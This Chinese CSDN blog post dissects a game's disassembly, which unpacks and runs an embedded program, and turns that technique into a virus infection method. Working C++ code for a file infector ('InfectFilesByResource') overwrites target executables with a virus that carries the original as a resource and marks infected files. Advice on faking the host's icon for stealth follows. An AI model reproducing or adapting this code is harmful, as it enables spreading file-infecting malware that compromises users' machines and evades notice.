前段时间,我在网上下载了一个3D游戏,想要玩的时候却被提示需要将IE的主页设置为特定的网址才能玩这个游戏.对于我这种有"系统洁癖"的人来说,最反感的就是这种要求,用Peid查了下,发现没有加壳,一路跟下来,发现这个程序也提供了一种病毒感染的思路,那就是资源感染,既将宿主程序作为病毒程序的一个资源保存,将附加了宿主程序资源的病毒程序覆盖原宿主程序,在打开病毒程序时,病毒发作同时将宿主程序释放出来,运行之.这个3D游戏的反汇编片段
:/**************************************************************** .text:004012F8 loc_4012F8: ; CODE XREF: sub_4010C0+231j .text:004012F8 lea ecx, [esp+12B4h+var_12A0] .text:004012FC call ??1CString@@QAE@XZ ; CString::~CString(void) .text:00401301 mov eax, [esp+12B4h+var_1294] .text:00401305 add esi, 4 .text:00401308 cmp esi, eax .text:0040130A jnz short loc_4012CF .text:0040130C cmp edi, 1 .text:0040130F jnz loc_401470 .text:00401315 mov ecx, 3FFh .text:0040131A xor eax, eax .text:0040131C lea edi, [esp+12B4h+var_100B] .text:00401323 mov [esp+12B4h+Filename], bl .text:0040132A rep stosd .text:0040132C stosw .text:0040132E lea ecx, [esp+12B4h+Filename] .text:00401335 push 1000h ; nSize .text:0040133A push ecx ; lpFilename .text:0040133B push ebx ; hModule .text:0040133C stosb .text:0040133D call ds:GetModuleFileNameA .text:00401343 loc_401343: ; CODE XREF: sub_4010C0+28Ej .text:00401343 mov dl, [esp+eax+12B4h+Filename] .text:0040134A dec eax .text:0040134B cmp dl, 5Ch .text:0040134E jnz short loc_401343 .text:00401350 mov [esp+eax+12B4h+var_100B], bl .text:00401357 lea eax, [esp+12B4h+Filename] .text:0040135E push eax .text:0040135F lea ecx, [esp+12B8h+var_12A0] .text:00401363 call ??0CString@@QAE@PBD@Z ; CString::CString(char const *) .text:00401368 push offset aRplay_cn_exe ; "//RpLay_cn.exe" .text:0040136D lea ecx, [esp+12B8h+var_12A0] .text:00401371 mov byte ptr [esp+12B8h+var_4], 2 .text:00401379 call ??YCString@@QAEABV0@PBD@Z ; CString::operator+=(char const *) .text:0040137E push ecx ; lpType .text:0040137F mov ecx, esp .text:00401381 mov [esp+12B8h+var_126C], esp .text:00401385 push offset unk_4062E4 .text:0040138A call ??0CString@@QAE@PBD@Z ; CString::CString(char const *) .text:0040138F push 9Dh ; int .text:00401394 push ebx .text:00401395 lea ecx, [esp+12C0h+var_12A0] .text:00401399 mov byte ptr [esp+12C0h+var_4], 3 .text:004013A1 call ?GetBuffer@CString@@QAEPADH@Z ; CString::GetBuffer(int) .text:004013A6 push ecx ; lpFileName .text:004013A7 mov ecx, esp .text:004013A9 mov [esp+12C0h+var_1268], esp .text:004013AD push eax .text:004013AE call ??0CString@@QAE@PBD@Z ; CString::CString(char const *) .text:004013B3 mov ecx, ebp .text:004013B5 mov byte ptr [esp+12C0h+var_4], 2 .text:004013BD call sub_401510 .text:00401510 ; int __stdcall sub_401510(LPCSTR lpFileName, int, LPCSTR lpType) .text:00401510 sub_401510 proc near ; CODE XREF: sub_4010C0+2FDp .text:00401510 .text:00401510 NumberOfBytesWritten= dword ptr -10h .text:00401510 var_C = dword ptr -0Ch .text:00401510 var_4 = dword ptr -4 .text:00401510 lpFileName = dword ptr 4 .text:00401510 arg_4 = dword ptr 8 .text:00401510 lpType = dword ptr 0Ch .text:00401510 .text:00401510 push 0FFFFFFFFh .text:00401512 push offset SEH_401510 .text:00401517 mov eax, large fs:0 .text:0040151D push eax .text:0040151E mov large fs:0, esp .text:00401525 push ecx .text:00401526 push ebx .text:00401527 push esi .text:00401528 xor ebx, ebx .text:0040152A mov [esp+18h+var_4], ebx .text:0040152E mov eax, [esp+18h+lpFileName] .text:00401532 push ebx ; hTemplateFile .text:00401533 push 6 ; dwFlagsAndAttributes .text:00401535 push 2 ; dwCreationDisposition .text:00401537 push ebx ; lpSecurityAttributes .text:00401538 push 2 ; dwShareMode .text:0040153A push 40000000h ; dwDesiredAccess .text:0040153F push eax ; lpFileName .text:00401540 mov [esp+34h+NumberOfBytesWritten], ebx .text:00401544 call ds:CreateFileA .text:0040154A mov esi, eax .text:0040154C cmp esi, 0FFFFFFFFh .text:0040154F jnz short loc_401580 .text:00401551 lea ecx, [esp+18h+lpFileName] .text:00401555 mov byte ptr [esp+18h+var_4], bl .text:00401559 call ??1CString@@QAE@XZ ; CString::~CString(void) .text:0040155E lea ecx, [esp+18h+lpType] .text:00401562 mov [esp+18h+var_4], esi .text:00401566 call ??1CString@@QAE@XZ ; CString::~CString(void) .text:0040156B pop esi .text:0040156C xor eax, eax .text:0040156E pop ebx .text:0040156F mov ecx, [esp+10h+var_C] .text:00401573 mov large fs:0, ecx .text:0040157A add esp, 10h .text:0040157D retn 0Ch .text:00401580 ; --------------------------------------------------------------------------- .text:00401580 .text:00401580 loc_401580: ; CODE XREF: sub_401510+3Fj .text:00401580 mov edx, [esp+18h+arg_4] .text:00401584 mov ecx, [esp+18h+lpType] .text:00401588 push ebp .text:00401589 push edi .text:0040158A and edx, 0FFFFh .text:00401590 push ecx ; lpType .text:00401591 push edx ; lpName .text:00401592 push ebx ; hModule .text:00401593 call ds:FindResourceA .text:00401599 mov edi, eax .text:0040159B push edi ; hResInfo .text:0040159C push ebx ; hModule .text:0040159D call ds:LoadResource .text:004015A3 push edi ; hResInfo .text:004015A4 push ebx ; hModule .text:004015A5 mov ebp, eax .text:004015A7 call ds:SizeofResource .text:004015AD lea ecx, [esp+20h+NumberOfBytesWritten] .text:004015B1 push ebx ; lpOverlapped .text:004015B2 push ecx ; lpNumberOfBytesWritten .text:004015B3 push eax ; nNumberOfBytesToWrite .text:004015B4 push ebp ; lpBuffer .text:004015B5 push esi ; hFile .text:004015B6 call ds:WriteFile .text:004015BC push esi ; hObject .text:004015BD call ds:CloseHandle .text:004015C3 lea ecx, [esp+20h+lpFileName] .text:004015C7 mov byte ptr [esp+20h+var_4], bl .text:004015CB call ??1CString@@QAE@XZ ; CString::~CString(void) .text:004015D0 lea ecx, [esp+20h+lpType] .text:004015D4 mov [esp+20h+var_4], 0FFFFFFFFh .text:004015DC call ??1CString@@QAE@XZ ; CString::~CString(void) .text:004015E1 mov ecx, [esp+20h+var_C] .text:004015E5 pop edi .text:004015E6 pop ebp .text:004015E7 pop esi .text:004015E8 mov eax, 1 .text:004015ED pop ebx .text:004015EE mov large fs:0, ecx .text:004015F5 add esp, 10h .text:004015F8 retn 0Ch .text:004015F8 sub_401510 endp .text:004013C2 lea ecx, [esp+12B4h+StartupInfo] .text:004013C6 push ecx ; lpStartupInfo .text:004013C7 call ds:GetStartupInfoA .text:004013CD lea edx, [esp+12B4h+ProcessInformation] .text:004013D1 lea eax, [esp+12B4h+StartupInfo] .text:004013D5 push edx ; lpProcessInformation .text:004013D6 push eax ; lpStartupInfo .text:004013D7 push ebx ; lpCurrentDirectory .text:004013D8 push ebx ; lpEnvironment .text:004013D9 push 20h ; dwCreationFlags .text:004013DB push ebx ; bInheritHandles .text:004013DC push ebx ; lpThreadAttributes .text:004013DD push ebx ; lpProcessAttributes .text:004013DE push ebx .text:004013DF lea ecx, [esp+12D8h+var_12A0] .text:004013E3 call ?GetBuffer@CString@@QAEPADH@Z ; CString::GetBuffer(int) .text:004013E8 push eax ; lpCommandLine .text:004013E9 push ebx ; lpApplicationName .text:004013EA call ds:CreateProcessA .text:004013F0 test eax, eax .text:004013F2 jz short loc_40144C .text:004013F4 mov ecx, [esp+12B4h+ProcessInformation.hProcess] .text:004013F8 push 0FFFFFFFFh ; dwMilliseconds .text:004013FA push ecx ; hHandle .text:004013FB call ds:WaitForSingleObject .text:00401401 mov edx, [esp+12B4h+ProcessInformation.hProcess] .text:00401405 mov esi, ds:CloseHandle .text:0040140B push edx ; hObject .text:0040140C call esi ; CloseHandle .text:0040140E mov eax, [esp+12B4h+ProcessInformation.hThread] .text:00401412 push eax ; hObject .text:00401413 call esi ; CloseHandle .text:00401415 mov edi, ds:TerminateProcess .text:0040141B mov ebp, ds:DeleteFileA .text:00401421 xor esi, esi .text:00401423 loc_401423: ; CODE XREF: sub_4010C0+38Aj .text:00401423 mov ecx, [esp+12B4h+ProcessInformation.hProcess] .text:00401427 push ebx ; uExitCode .text:00401428 push ecx ; hProcess .text:00401429 call edi ; TerminateProcess .text:0040142B push ebx .text:0040142C lea ecx, [esp+12B8h+var_12A0] .text:00401430 call ?GetBuffer@CString@@QAEPADH@Z ; CString::GetBuffer(int) .text:00401435 push eax ; lpFileName .text:00401436 call ebp ; DeleteFileA .text:00401438 test eax, eax .text:0040143A jnz short loc_40145D .text:0040143C inc esi .text:0040143D cmp esi, 0Ah .text:00401440 jge short loc_40145D .text:00401442 push 64h ; dwMilliseconds .text:00401444 call ds:Sleep .text:0040144A jmp short loc_401423 .text:0040144C ; --------------------------------------------------------------------------- .text:0040144C .text:0040144C loc_40144C: ; CODE XREF: sub_4010C0+332j .text:0040144C push ebx .text:0040144D lea ecx, [esp+12B8h+var_12A0] .text:00401451 call ?GetBuffer@CString@@QAEPADH@Z ; CString::GetBuffer(int) .text:00401456 push eax ; lpFileName .text:00401457 call ds:DeleteFileA ****************************************************************/
Csdn没有汇编代码的高亮- -,用C++的注释形式给出,上面的反汇编代码的思路是这样的:GetModuleFileNameA()获取当前程序路径,设置释放资源(宿主)程序的路径->CreateFileA()创建资源程序文件->FindResourceA()查找该资源->LoadResource()->SizeofResource()->WriteFile()通过载入,获取大小得到参数后写入->GetStartupInfoA()获取启动信息->CreateProcessA(),至此宿主程序已经启动,但等其运行完后,我们还要将其删除->WaitForSingleObject()等待ProcessInformation.hProcess,当宿主程序结束时会得到通知->CloseHandle()关闭ProcessInformation.hProcess和ProcessInformation.hThread->TerminateProcess()我觉得这步不是必须的,此时宿主程序本身已经结束运行了->DeleteFileA()删除刚才生成的资源程序文件.
这个游戏的IE主页判断在释放资源之前,nop之后,单步到WriteFile之后把资源文件复制出来,之后启动就可以直接玩游戏了,这是题外话^_^
这样提供了进行资源感染后,打开感染文件的一个运行流程.如何将宿主文件作为资源添加到病毒程序中去?利用UpdateResource()这个api来完成,具体代码如下(详见注释):
void InfectFilesByResource(char *FileName) { DWORD dwSizeOfFile; DWORD dwBytesUsed; char szTempVirusFile[MAX_PATH]; HANDLE hFile; HRSRC hResource; LPBYTE lpBuffer; hFile = CreateFile(FileName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_ARCHIVE, NULL); if (INVALID_HANDLE_VALUE != hFile) { dwSizeOfFile = GetFileSize(hFile, NULL); //这里对文件大小进行判断,如果病毒体长度+宿主程序长度大于1M的话就进行注入感染 if (dwSizeOfFile + dwSizeOfVirus > 0x100000) { CloseHandle(hFile); InfectFilesByInject(FileName); return; } lpBuffer = new BYTE[dwSizeOfFile]; //将整个宿主程序读入Buffer当中 if (ReadFile(hFile, lpBuffer, dwSizeOfFile, &dwBytesUsed, NULL) != FALSE) { //这里生成一个临时文件,加入宿主程序作为资源 GetTempFileName("C://Windows//System32//", "~", 0, szTempVirusFile); //szDstFile是病毒程序路径 CopyFile(szDstFile, szTempVirusFile, FALSE); //下面更新病毒程序资源 hResource = (HRSRC)BeginUpdateResource(szTempVirusFile, FALSE); if (NULL != hResource) { if (UpdateResource(hResource, RT_RCDATA, MAKEINTRESOURCE(520), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPVOID)lpBuffer, dwBytesUsed) != FALSE) { EndUpdateResource(hResource, FALSE); } } } delete[] lpBuffer; lpBuffer = NULL; CloseHandle(hFile); //将加入了宿主程序资源的病毒程序覆盖原来宿主程序 CopyFile(szTempVirusFile,FileName,FALSE); Sleep(100); //删除临时文件 DeleteFile(szTempVirusFile); hFile = CreateFile(FileName, GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_ARCHIVE, NULL); if (INVALID_HANDLE_VALUE != hFile) { SetFilePointer(hFile, 0x4e, NULL, FILE_BEGIN); //写入资源感染标志'R',位于DOS头 WriteFile(hFile,(LPCVOID)("R"), 1, &dwBytesUsed, NULL); CloseHandle(hFile); } } }
这样就完成了资源感染,这个方法需要注意的一点是,你的病毒编译的时候是需要有初始资源的,如果本身病毒程序没有任何资源使用UpdateResource()将会失败.另外,如果采用这个感染方法,还要修改图标资源为宿主程序图标才能起到较好的隐蔽性,不然就是像熊猫烧香一样,明白着告诉人家,这个程序被感染了- -
图片是感染后效果,图标改变
本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/GaA_Ra/archive/2010/06/30/5705491.aspx